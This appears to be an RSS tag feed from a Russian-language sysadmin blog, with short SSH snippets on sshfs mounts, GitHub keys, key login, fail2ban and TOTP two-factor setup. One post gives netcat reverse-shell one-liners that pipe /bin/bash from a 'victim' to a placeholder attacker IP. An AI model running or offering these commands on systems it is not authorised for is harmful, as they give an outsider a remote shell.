https://fruw.supa.dog/tags/ssh/Recent content in Ssh on fruworgHugo -- gohugo.ioru-RUThu, 19 Sep 2024 13:28:00 +0200https://fruw.supa.dog/posts/sshfs-fstab/Thu, 19 Sep 2024 13:28:00 +0200https://fruw.supa.dog/posts/sshfs-fstab/Установка пакета на клиенте apt -y install sshfs Добавление строки в /etc/fstab <user>@<server-fqdn>:<remote-dir> <local-dir> sshfs allow_other,reconnect 0 Проверка монтирования mount -ahttps://fruw.supa.dog/posts/github-ssh-auth/Wed, 26 Jul 2023 16:29:00 +0600https://fruw.supa.dog/posts/github-ssh-auth/Генерация ключа ssh-keygen -t ed25519 -C "<your>@<ema.il>" Вывод публичного ключа cat ~/.ssh/id_ed25519.pub Добавление ключа в GitHub Необходимо зайти на GitHub в настройки своего аккаунта и перейти в раздел “SSH and GPG keys”. Далее нужно нажать “New SSH key”, вставить содержимое публичного ключа и сохранить изменения. Аутентификация в GitHub git remote set-url origin git@github.com:<username>/<reponame>.githttps://fruw.supa.dog/posts/ssh-auth-by-key/Wed, 14 Dec 2022 12:04:00 +0500https://fruw.supa.dog/posts/ssh-auth-by-key/Генерация ключа ssh-keygen Копировние ключв ssh-copy-id <username>@<server-ip>https://fruw.supa.dog/posts/reverse-shell-nc/Fri, 09 Dec 2022 15:02:00 +0500https://fruw.supa.dog/posts/reverse-shell-nc/Машина атакующего nc -lvp <port> Машина жертвы (Traditional Netcat) nc <attacker-ip> <port> -e /bin/bash Машина жертвы (OpenBSD Netcat) mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/nullhttps://fruw.supa.dog/posts/ssh-fail2ban/Tue, 29 Nov 2022 13:41:00 +0500https://fruw.supa.dog/posts/ssh-fail2ban/Установка пакета fail2ban apt -y install fail2ban Правило для ssh В файл /etc/fail2ban/jail.d/sshd.conf необходимо добавить следующее: [sshd] enabled = true port = <ssh-port> filter = sshd logpath = /var/log/auth.log maxretry = 3 findtime = 300 bantime = 3600 Перезапуск сервиса fail2ban systemctl restart fail2banhttps://fruw.supa.dog/posts/ssh-2fa-totp/Tue, 29 Nov 2022 13:35:00 +0500https://fruw.supa.dog/posts/ssh-2fa-totp/Установка пакета apt install -y openssh-server libpam-google-authenticator Правка конфига PAM В файл /etc/pam.d/common-auth необходимо добавить следующее: auth required pam_google_authenticator.so Правка конфига ssh В файл /etc/ssh/sshd_config необходимо добавить следующее: ChallengeResponseAuthentication yes Конфигурация аутентификации Следующая команда сконфигурирует TOTP. Запускать команду следует от имени того пользователя, к которому будет инициализированно подключение. google-authenticator Управление факторами (необязательно) Для запроса ключа при аутентификации необходимо в файл /etc/ssh/sshd_config добавить следующее: AuthenticationMethods publickey,password publickey,keyboard-interactive Для отключения запроса пароля при аутентификации необходимо в файле /etc/pam.